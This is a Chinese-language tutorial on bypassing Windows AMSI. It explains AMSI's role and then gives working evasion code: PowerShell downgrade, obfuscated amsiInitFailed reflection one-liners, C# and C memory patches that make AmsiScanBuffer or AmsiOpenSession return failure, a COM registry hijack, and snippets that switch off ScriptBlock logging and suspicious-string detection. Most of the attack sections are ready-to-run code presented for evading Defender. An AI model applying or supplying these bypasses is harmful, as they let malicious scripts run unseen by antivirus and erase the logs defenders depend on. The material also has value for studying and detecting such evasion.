How to Bypass AMSI

关于AMSI

当用户执行脚本或启动 PowerShell 时,AMSI.dll 被动态加载进入内存空间。在执行之前,防病毒软件使用以下两个 API 来扫描缓冲区和字符串以查找恶意软件的迹象。
  AmsiScanBuffer()
  AmsiScanString()

amsi只是一个通道,真正检测出是否是恶意脚本的是杀软,比如defender,amsi和杀软的区别在于无论我们的恶意脚本是经过多次模糊处理还是远程执行,amsi都可以在脚本注入内存前检测到。而普通的静态杀毒软件是没办法的。

其实不难理解,首先我们要知道我们的恶意脚本是如何注入内存执行的
bypass 杀毒软件时我们的脚本一定是模糊处理的,但是无论我们什么样模糊处理到注入内存执行的时候一定是纯净,清晰的代码,不然脚本引擎无法理解和执行我们的恶意脚本。那么问题就是在这里,amsi在脚本解密到注入内存之前去扫描查杀。这才是调用amsi的意义。

amsi是所有杀毒软件都可以调用吗?并不是!
amsi是在Windows 10 和Windows Server 2016 之后才有的,然后并不是所有的杀毒软件都可以调用amsi接口。国内的基本都不可以。
在github上有一个项目记录了可以调用amsi的杀毒软件

https://github.com/subat0mik/whoamsi/

查看amsi中的查杀结果

1
Get-WinEvent 'microssoft-windows-windows defender/operational' | Where-Object id -EQ 1116 | format-list

image-20220104002756500

AMSI的调用

下图为AMSI的扫描过程

image-20220110210452843

可以成为Windows的组件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1.用户账户控制,也就是UAC(EXE、COM、MSI、ActiveX的安装) 
%windir%\System32\consent.exe
2.Powershell(脚本、交互式使用、动态代码求值)
System.Management.Automation.dll
3.Windows脚本宿主
wscript.exe
cscript.exe
4.JavaScript、VBScript
%windir%\System32\jscript.dll
%windir%\System32\vbscript.dll
5.Office VBA macros(宏)
VBE7.dll
6 .NET Assembly
clr.dll
7.WMI
%windir%\System32\wbem\fastprox.dll

 

主流对抗

1.降级

因为低版本(2.0)的powershell是没有amsi的,所以在powershell2.0上执行恶意脚本就不会被检测到

下图是powershell在各个系统上的预装情况,可以看到现在常见的win10、Windows 2016、2019很少预装有powershell2.0(amsi是从win10、2016开始存在的),但是由于很多服务需要低版本的powershell,所以在红蓝对抗中也会碰到装有powershell2.0 的机器。

image-20220103150817054

查看当前powershell版本

1
$PSVersionTable

image-20220103145525344

判断能否使用powershell 2.0

1
2
3
4
5
6
7
8
9
10
11
注:非管理员权限
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version

注:需要管理员权限
Win10:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2

Win2016/Win2019
Get-WindowsFeature PowerShell-V2


虚拟机上测试未安装低版本powershell

1
powershell.exe -version 2   //改变powershell运行版本

image-20220103154159362

这里因为没有环境,我本机装有其他杀软,amsi不起作用,就不演示了

如果在脚本中使用,在脚本开头加入 #requires -version 2,这样如果可以使用2.0,脚本会以2.0执行,如果不能,会按照当前powershell版本执行。当然并不是所有脚本都可以在低版本的powershell执行。

还有一点,用powershell3 /4/5都还是默认以当前版本的powershell来执行

image-20220103160024995

另外vbscript/jscript不存在所谓降级攻击,因为在10/16/19并不存在像powershell一样的断代
情况

2.拆分

image-20220103145806943

3.改注册表禁用AMSI

设置注册表HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable设置为 0,以禁用
AMSI。

很奇怪,我在本机和虚拟机上都没有找到这一键值,估计是和系统型号有关

image-20220103162358415

查阅多方资料,这个方法现在已经不能用了。

4.一键关闭AMSI

使用一行命令关闭amsi,但是现在被加黑了

1
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPubilc,Static').SetValue($null,$true)

image-20220102235440814

我们 可以一个个试 到底是哪里被杀了

image-20220103165241214

单独检测下,可以看到 AmsiUtilsAmsiInitFailed被杀了

image-20220103165703332

image-20220103165808764

那接下来的思路就很明确了,就是针对AmsiUtilsAmsiInitFailed这两个字符串进行处理了

其实和混淆shellcode的方法差不多,先编码再解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//System.Management.Automation.AmsiUtils和amsiInitFailed的编码数据
$a="5492868772801748688168747280728187173688878280688776828"
$b="1173680867656877679866880867644817687416876797271"

//对System.Management.Automation.AmsiUtils进行解码
$c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$d=[Ref].Assembly.GetType($c)

//对amsiInitFailed进行解码
$e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$f=$d.GetField($e,'NonPublic,Static')

//组合起来执行
$f.SetValue($null,$true)

image-20220103170440557

其中混淆的关键点就是 编码解码 [string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "

hex编码

1
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)

下面的这种 base64亲测失效,虽然可以关掉amsi,但被defender查杀,会立刻结束掉当前powershell进程

1
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

更多的混淆办法去学习下powershell,了解语言本身才能产生更多骚思路

5.内存补丁

AMSI检测相关api的调用顺序

1
2
3
4
5
AmsiInitialize – 初始化AMSI API.
AmsiOpenSession – 打开session
AmsiScanBuffer – scans the user-input.
AmsiCloseSession – 关闭session
AmsiUninitialize – 删除AMSI API

因为amsi是基于字符串静态扫描的,用到的函数是 AmsiScanBuffer,我们是不是可以hook该函数,使其返回我们需要的值呢?理则是修改AmsiScanBuffer函数的参数值(两个思路,一个是修改扫描长度,另一个是修改返回值)

看下AmsiScanBuffer的函数参数

1
2
3
4
5
6
7
8
HRESULT AmsiScanBuffer( 
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result );

为了让amsi.dll 返回 AMSI_RESULT_NOT_DETECTED,这里的关注点是 hResult,即amsi.dll的返回值,只要它小于0,就可以bypass amsi。通过分析我们可以在AmsiInitialize、AmsiOpenSession、AmsiScanBuffer这3个函数中patch(补丁)都可以达到bypass amsi的效果.

分析后,AmsiInitializ不可以利用,AmsiOpenSession、AmsiScanBuffer可以利用

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$p=@"
using System;
using System.Linq;
using System.Runtime.InteropServices;
public class Program
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpfloldProtect);
public static void Bypass()
{
String a =
"isma";
String b =
"reffuBnacSismA";
IntPtr lib = LoadLibrary(String.Join(""
, a.Reverse().ToArray()) +
"
.dll");
IntPtr addr = GetProcAddress(lib, String.Join(""
,
b.Reverse().ToArray()));
uint old = 0;
byte[] p;
p = new byte[6];
p[0] = 0xB8;
p[1] = 0x57;
p[2] = 0x00;
p[3] = 0x07;
p[4] = 0x80;
p[5] = 0xc3;
VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old);
Marshal.Copy(p, 0, addr, p.Length);
VirtualProtect(addr, (UIntPtr)p.Length, old, out old);
}
}
"@
Add-Type $p
[Program]::Bypass()

这段代码的功能就是在AmsiScanBuffer的函数地址处直接打补丁,补丁汇编是:

1
2
mov eax,0x80070057
ret

0x80070057也就是-2147024809,是一个负数,当然也可以是其他负数,而AmsiScanBuffer也可以修
改成AmsiOpenSession。怎么把汇编代码转换成代码中的数组呢?使用https://defuse.ca/online-x86-assembler.htm#disassembly,可以很快转换。我们来修改代码测试下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$p=@"
using System;
using System.Linq;
using System.Runtime.InteropServices;
public class Program
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpfloldProtect);
public static void Bypass()
{
String a =
"isma";
IntPtr lib = LoadLibrary(String.Join(""
, a.Reverse().ToArray()) +
"
.dll");
IntPtr addr = GetProcAddress(lib,
"AmsiOpenSession");
uint old = 0;
byte[] p;
p = new byte[6];
p[0] = 0xB8;
p[1] = 0xFF;
p[2] = 0xFF;
p[3] = 0xFF;
p[4] = 0xFF;
p[5] = 0xC3;
VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old);
Marshal.Copy(p, 0, addr, p.Length);
VirtualProtect(addr, (UIntPtr)p.Length, old, out old);
}
}
"@
Add-Type $p
[Program]::Bypass()

我们修改了被打补丁的函数为AmsiOpenSession,补丁汇编代码为:

1
2
mov eax,-1
ret

我们知道了补丁函数可以为AmsiOpenSession、AmsiScanBuffer,补丁代码可以变化很
多,只要返回结果为负数就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <Windows.h>
#include <stdio.h>

int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);

CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);

HMODULE hAmsi = LoadLibraryA("amsi.dll");
LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");

Sleep(500);

DWORD oldProtect;
char patch = 0xc3;

VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hAmsi);
return 0;
}

0xc3的硬编码对应的汇编是ret,也就是调用AmsiScanBuffer直接让他返回。这个马是直接被杀的。

非主流对抗

1.劫持amsi.dll

其实就是白加黑,以前做过一次分享,讲的很菜,视频也没有公开。具体原理不再多说,网上有很多。

正常amsi.dll存在于c:\windows\system32\amsi.dll,使用 Aheadlib工具生成或者自己找到 amsi.dll 对应的导出函数,自己写,一样的。当然自己的dll没有签名,这里还涉及到免杀的问题,如果可以添加微软前面,再劫持,又有很大的可玩性。

2.NULL字符绕过

这个方法已经失效了,但还是提一下,扩充下思路。

Amsi扫描使用的是 AmsiScanString函数

1
2
3
4
5
6
7
8
HRESULT WINAPI AmsiScanString(
_In_ HAMSICONTEXT amsiContext,
_In_LPCWSTR string, // Will be terminated at the first null
character
_In_LPCWSTR contentName,
_In_opt_HAMSISESSION session,
_Out_AMSI_RESULT *result
);

其中string就是脚本内容,在执行脚本之前加个空字符就可以截断,而修复的方法是用了 AmsiScanBuffer这个函数,所以amsi才会用这两个函数来扫描

1
2
3
4
5
6
7
8
HRESULT WINAPI AmsiScanBuffer(
_In_ HAMSICONTEXT amsiContext,
_In_ PVOID buffer, // Not terminated at the null character
_In_ ULONG length,
_In_ LPCWSTR contentName,
_In_ opt_HAMSISESSION session,
_Out_ AMSI_RESULT *result
);

3.COM server劫持

原理:amsi.dll在老版本中使用 CoCreateInstance()函数调用IID和CLSID来实例化COM接口。而这个函数会先
从注册表HKCU中找对应的dll去解析,也就是当前用户,因此我们创建相应的注册表,让它调用失败就行了。简单来说利用的是注册表优先级来绕过。

1
2
3
4
5
6
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-
4357bb0072ec}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32]
@="C:\\goawayamsi.dll"

而微软通过直接调用amsi.dll 的 DllGetClassObject() 函数替换 CoCreateInstance()
可以避免注册表解析。

但是这种方法也失效了,不过可以学习下思路。

Powershell 版本特性

PowerShell V2

PowerShell V2提供事件记录能力,可以协助蓝队进行相关的攻击事件推断和关联性分析,但是其日志记录单一,相关Post-Exploitation可做到无痕迹;并且因为系统兼容性,在后续版本攻击者都会尝试降级至此版本去躲避日志记录。

PowerShell V3/V4

PowerShell V3/V4 相比之前提供了更全面的日志记录功能。Windows PowerShell 3.0 改进了对命令和模块的日志记录和跟踪支持。 自PowerShell v3版本以后支持启用PowerShell模块日志记录功能,并将此类日志归属到了4103事件。PowerShell模块日志可以配置为记录所有的PowerShell模块的活动情况,包括单一的PowerShell命令、导入的模块、远程管理等。可以通过GPO进行启用模块日志记录。

PowerShell V5

PowerShell V5加入了CLM和ScriptBlock日志记录功能,能去混淆PowerShell代码并记录到事件日志。随着PowerShell攻击技术的不断成熟,攻击者为了规避防护和日志记录进行了大量的代码混淆,在执行代码之前很难发现或确认这些代码实际上会做些什么事情,给攻击检测和取证造成了一定的困难,因此微软从PowerShell5.0开始加入了日志转储、ScriptBlock日志记录功能,并将其归入到事件4104当中,ScriptBlock Logging提供了在事件日志中记录反混淆的 PowerShell 代码的能力。

PowerShell V6

PowerShell V6 出于功能需求,提供了更全面的系统覆盖能力。由于PowerShell在Linux和MacOS等操作系统上的支持在MacOS上安装(pwsh),处于安全性考虑日志记录作为必不可少的一部分,PowerShell使用本机os_log API登录Apple的统一日志记录系统。在Linux上,PowerShell使用Syslog,微软将此上升成为一种几乎全平台支持的日志记录解决方案。

PowerShell V7

PowerShell V7(PS7)基于.NET Core 3.0,Microsoft旨在提供与Windows PowerShell模块更高的兼容性,高达90%。作为PowerShell 7的一部分,Microsoft在之前的日志记录基础上,增加了一种安全使用本地或远程存储中的凭据的方法,以便不需要将密码嵌入到脚本中。还将改进日志记录,以提供将本地计算机日志发送到远程设备的机制,而不管原始操作系统如何。

这里要说的是V5的脚本日志记录。

1
2
1. 按Win+R打开Windows运行窗口,在输入框里输入gepdit.msc,打开Windows本地组策略编辑器;
2. 找到计算机配置/管理模板/Windows组件/Windows Powershell,根据需求打开右侧所需要的日志功能;

image-20220105004129848

我们可以通过操作注册表的方式,将日志功能关闭。(Empire框架目前已经将该功能整合到payload中)利用如下代码即可

1
2
3
4
5
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);

$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{}

$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging", "0")

PowerShell 记录可疑字符串

Powershell v5版本之后,可记录可疑的字符串,如’Add-Type’、’CreateType’等。可通过如下代码降低策略强度

1
[Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField("signatures","NonPublic,static").SetValue($null, (New-Object 'System.Collections.Generic.HashSet[string]'))

总结

AMSI被开发出的时间不长,所以对抗程度也没有很激烈,稍微混淆一下就可以绕过。其实很多杀软也是,绕过的原理都是相同的,万变不离其宗。不过还是要会写代码,对powershell这门语言熟悉才可以更好的混淆

附上一个平台:AMSI.fail 可以玩一玩

参考文章:

1
《Bypass AMSI的前世今生》by L.N.

Peace.